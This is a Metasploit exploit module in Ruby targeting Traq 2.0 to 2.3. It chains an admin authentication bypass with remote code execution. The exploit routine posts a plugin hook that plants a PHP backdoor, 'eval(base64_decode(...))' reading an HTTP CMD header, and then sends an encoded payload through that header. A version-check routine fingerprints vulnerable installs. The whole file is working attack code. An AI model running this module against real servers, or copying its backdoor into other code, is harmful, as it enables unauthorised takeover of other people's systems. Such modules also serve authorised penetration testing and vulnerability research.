|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info={})  super(update_info(info,  'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',  'Description'=> %q{  This module exploits an arbitrary command execution vulnerability in  Traq 2.0 to 2.3. It's in the admincp/common.php script.  This function is called in each script located into /admicp/ directory to  make sure the user has admin rights, but this is a broken authorization  schema due to the header() function doesn't stop the execution flow. This  can be exploited by malicious users to execute admin functionality resulting  fore.g.in execution of arbitrary PHP code leveraging of plugins.php  functionality.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'EgiX',# Vulnerability discovery and exploit  'TecR0c' # Metasploit Module  ],  'References' =>  [  [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],  [ 'URL', 'http://traqproject.org/' ],  ],  'Privileged' => false,  'Payload'=>  {  'Keys'=> ['php'],  'Space' => 4000,  'DisableNops' => true,  },  'Platform' => ['php'],  'Arch' => ARCH_PHP,  'Targets'=> [[ 'Automatic', {} ]],  'DisclosureDate' => 'Dec 12 2011',  'DefaultTarget'=> 0))  register_options(  [  OptString.new('URI', [true, "The path to the Traq installation", "/"]),  ],self.class)  end  def check  uri = datastore['URI']  uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"  res = send_request_raw(  {  'uri'=> uri  }, 25)  if (res and res.body =~ /Powered by Traq 2.[0-3]/ )  return Exploit::CheckCode::Vulnerable  end  return Exploit::CheckCode::Safe  end  def exploit  p = Rex::Text.encode_base64(payload.encoded)  uri = datastore['URI']  uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"  res = send_request_cgi(  {  'method'=> 'POST',  'uri' => uri,  'vars_post' =>  {  'plugin_id' => '1',  'title' => '1',  'execorder' => '0',  'hook' => 'template_footer',  'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'  }  }, 25)  uri = datastore['URI']  uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"  res = send_request_cgi(  {  'method'=> 'GET',  'uri' => uri,  'headers' =>  {  'CMD' => p,  'Connection' => 'Close',  },  }, 25)  end end  |